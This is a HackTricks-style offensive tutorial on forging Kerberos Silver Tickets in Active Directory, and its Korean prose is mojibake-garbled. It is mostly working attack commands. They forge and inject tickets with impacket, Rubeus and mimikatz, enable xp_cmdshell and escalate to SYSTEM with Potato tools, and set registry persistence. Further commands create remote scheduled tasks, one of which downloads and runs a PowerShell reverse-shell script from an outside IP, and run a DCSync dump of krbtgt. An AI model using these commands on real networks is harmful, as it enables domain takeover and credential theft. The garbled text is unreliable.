Silver Ticket
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Silver ticket
Silver Ticket ๊ณต๊ฒฉ์ Active Directory (AD) ํ๊ฒฝ์์ ์๋น์ค ํฐ์ผ์ ์ ์ฉํ๋ ๊ธฐ๋ฒ์ ๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ปดํจํฐ ๊ณ์ ๊ณผ ๊ฐ์ ์๋น์ค ๊ณ์ ์ NTLM ํด์๋ฅผ ํ๋ํ์ฌ Ticket Granting Service (TGS) ํฐ์ผ์ ์์กฐํ๋ ๊ฒ์ ๊ธฐ๋ฐํฉ๋๋ค. ์ด๋ ๊ฒ ์์กฐ๋ ํฐ์ผ์ ํตํด ๊ณต๊ฒฉ์๋ ๋คํธ์ํฌ์ ํน์ ์๋น์ค์ ์ ๊ทผํ์ฌ ์ผ๋ฐ์ ์ผ๋ก ๊ด๋ฆฌ์ ๊ถํ์ ๋ชฉํ๋ก ์์์ ์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ ์ ์์ต๋๋ค. ํฐ์ผ ์์กฐ์ AES ํค๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ๋ ์์ ํ๊ณ ํ์ง๊ฐ ๋ ์ด๋ ต๋ค๋ ์ ์ด ๊ฐ์กฐ๋ฉ๋๋ค.
Warning
Silver Tickets๋ Golden Tickets๋ณด๋ค ํ์ง๊ฐ ๋ํฉ๋๋ค. ๊ทธ ์ด์ ๋ krbtgt ๊ณ์ ์ด ์๋๋ผ ์๋น์ค ๊ณ์ ์ ํด์๋ง ํ์ํ๊ธฐ ๋๋ฌธ์ ๋๋ค. ๊ทธ๋ฌ๋ Silver Tickets๋ ๋์์ด ๋๋ ํน์ ์๋น์ค๋ก๋ง ์ ํ๋ฉ๋๋ค. ๋ํ ๋จ์ํ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ํ์น๋ ๊ฒ๋ง์ผ๋ก๋ ๊ฐ๋ฅํฉ๋๋ค.
๋ ๋์๊ฐ, ๋ง์ฝ SPN์ ๊ฐ์ง ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ํ์ทจํ๋ฉด ๊ทธ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉํด ํด๋น ์๋น์ค์ ๋ํด ์ด๋ค ์ฌ์ฉ์๋ก๋ ๊ฐ์ฅํ๋ Silver Ticket์ ์์ฑํ ์ ์์ต๋๋ค.
For ticket crafting, different tools are employed based on the operating system:
On Linux
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
Windows์์
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
The CIFS ์๋น์ค๋ ํผํด์์ ํ์ผ ์์คํ ์ ์ ๊ทผํ๊ธฐ ์ํ ์ผ๋ฐ์ ์ธ ํ๊น์ผ๋ก ๊ฐ์กฐ๋์ง๋ง, HOST๋ RPCSS ๊ฐ์ ๋ค๋ฅธ ์๋น์ค๋ ์์ ๋ฐ WMI ์ฟผ๋ฆฌ ์ํ์ ์ ์ฉ๋ ์ ์์ต๋๋ค.
์์: MSSQL ์๋น์ค (MSSQLSvc) + Potato๋ก SYSTEM
SQL ์๋น์ค ๊ณ์ (์: sqlsvc)์ NTLM ํด์(๋๋ AES ํค)๋ฅผ ๊ฐ์ง๊ณ ์๋ค๋ฉด MSSQL SPN์ ๋ํ TGS๋ฅผ ์์กฐํ์ฌ SQL ์๋น์ค์ ๋ํด ์์์ ์ฌ์ฉ์๋ก ๊ฐ์ฅํ ์ ์์ต๋๋ค. ๊ทธ ์ดํ์ xp_cmdshell์ ํ์ฑํํ๋ฉด SQL ์๋น์ค ๊ณ์ ๊ถํ์ผ๋ก ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค. ํด๋น ํ ํฐ์ SeImpersonatePrivilege๊ฐ ์๋ค๋ฉด Potato๋ฅผ ์ด์ฉํด SYSTEM์ผ๋ก ๊ถํ ์์น์ ์๋ํ ์ ์์ต๋๋ค.
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
- ๊ฒฐ๊ณผ ์ปจํ ์คํธ์ SeImpersonatePrivilege (์ข ์ข service accounts์ ํด๋น)๊ฐ ์์ผ๋ฉด, SYSTEM์ ์ป๊ธฐ ์ํด Potato variant๋ฅผ ์ฌ์ฉํ์ธ์:
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
MSSQL ๋จ์ฉ ๋ฐ xp_cmdshell ํ์ฑํ์ ๋ํ ์์ธํ ๋ด์ฉ:
Potato techniques ๊ฐ์:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
์ฌ์ฉ ๊ฐ๋ฅํ ์๋น์ค
| Service Type | ์๋น์ค Silver Tickets |
|---|---|
| WMI |
HOST RPCSS |
| PowerShell Remoting |
HOST HTTP OS์ ๋ฐ๋ผ ์ถ๊ฐ๋ก: WSMAN RPCSS |
| WinRM |
HOST HTTP ๊ฒฝ์ฐ์ ๋ฐ๋ผ ๋จ์ํ ์์ฒญํ ์๋ ์์ต๋๋ค: WINRM |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools |
RPCSS LDAP CIFS |
| Golden Tickets | krbtgt |
Rubeus๋ฅผ ์ฌ์ฉํ๋ฉด ๋ค์ ํ๋ผ๋ฏธํฐ๋ก ์ด๋ฌํ ํฐ์ผ์ ๋ชจ๋ ์์ฒญํ ์ ์์ต๋๋ค:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
Silver tickets ์ด๋ฒคํธ ID
- 4624: ๊ณ์ ๋ก๊ทธ์จ
- 4634: ๊ณ์ ๋ก๊ทธ์คํ
- 4672: ๊ด๋ฆฌ์ ๋ก๊ทธ์จ
Persistence
๋จธ์ ์ด 30์ผ๋ง๋ค ์ํธ๋ฅผ ๊ฐฑ์ ํ์ง ์๋๋ก ํ๋ ค๋ฉด HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1๋ก ์ค์ ํ๊ฑฐ๋, ๋จธ์ ์ํธ์ ํ์ ์ฃผ๊ธฐ๋ฅผ ๋ ๊ธธ๊ฒ ํ๋ ค๋ฉด HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge๋ฅผ 30์ผ๋ณด๋ค ํฐ ๊ฐ์ผ๋ก ์ค์ ํ ์ ์์ต๋๋ค.
Service tickets ์ ์ฉ
๋ค์ ์์์๋ ํฐ์ผ์ด administrator ๊ณ์ ์ ์ฌ์นญํ์ฌ ํ๋๋์๋ค๊ณ ๊ฐ์ ํฉ๋๋ค.
CIFS
์ด ํฐ์ผ์ผ๋ก SMB๋ฅผ ํตํด ์๊ฒฉ์ C$ ๋ฐ ADMIN$ ํด๋(๋
ธ์ถ๋ ๊ฒฝ์ฐ)์ ์ ๊ทผํ ์ ์์ผ๋ฉฐ, ์๊ฒฉ ํ์ผ์์คํ
์ ์ผ๋ถ๋ก ํ์ผ์ ๋ณต์ฌํ ์ ์์ต๋๋ค. ์:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
๋ํ psexec๋ฅผ ์ฌ์ฉํ์ฌ ํธ์คํธ ๋ด๋ถ์์ ์ ธ์ ์ป๊ฑฐ๋ ์์์ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค:
ํธ์คํธ
์ด ๊ถํ์ผ๋ก ์๊ฒฉ ์ปดํจํฐ์ ์์ฝ๋ ์์ ์ ์์ฑํ๊ณ ์์์ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
HOST + RPCSS
์ด ํฐ์ผ๋ค๋ก ํผํด์ ์์คํ ์์ WMI๋ฅผ ์คํํ ์ ์์ต๋๋ค:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
๋ค์ ํ์ด์ง์์ wmiexec์ ๋ํ ์์ธํ ์ ๋ณด๋ฅผ ํ์ธํ์ธ์:
HOST + WSMAN (WINRM)
์ปดํจํฐ์ ๋ํ winrm ์ ๊ทผ ๊ถํ์ด ์์ผ๋ฉด ์ ์ํ ์ ์์ผ๋ฉฐ ์ฌ์ง์ด PowerShell์ ์ป์ ์ ์์ต๋๋ค:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ฌ ์๊ฒฉ ํธ์คํธ์ ์ฐ๊ฒฐํ๋ winrm์ ์ฌ์ฉํ ์ถ๊ฐ ๋ฐฉ๋ฒ์ ์์๋ณด์ธ์:
Warning
์๊ฒฉ ์ปดํจํฐ์ ์ ๊ทผํ๋ ค๋ฉด winrm์ด ํ์ฑํ๋์ด ์์ ๋๊ธฐ ์ค์ด์ด์ผ ํฉ๋๋ค.
LDAP
์ด ๊ถํ์ผ๋ก DCSync๋ฅผ ์ฌ์ฉํ์ฌ DC ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋คํํ ์ ์์ต๋๋ค:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
DCSync์ ๋ํด ์์ธํ ์์๋ณด์ธ์ ๋ค์ ํ์ด์ง์์:
์ฐธ๊ณ ์๋ฃ
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027
- HTB Sendai โ 0xdf: Silver Ticket + Potato path
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


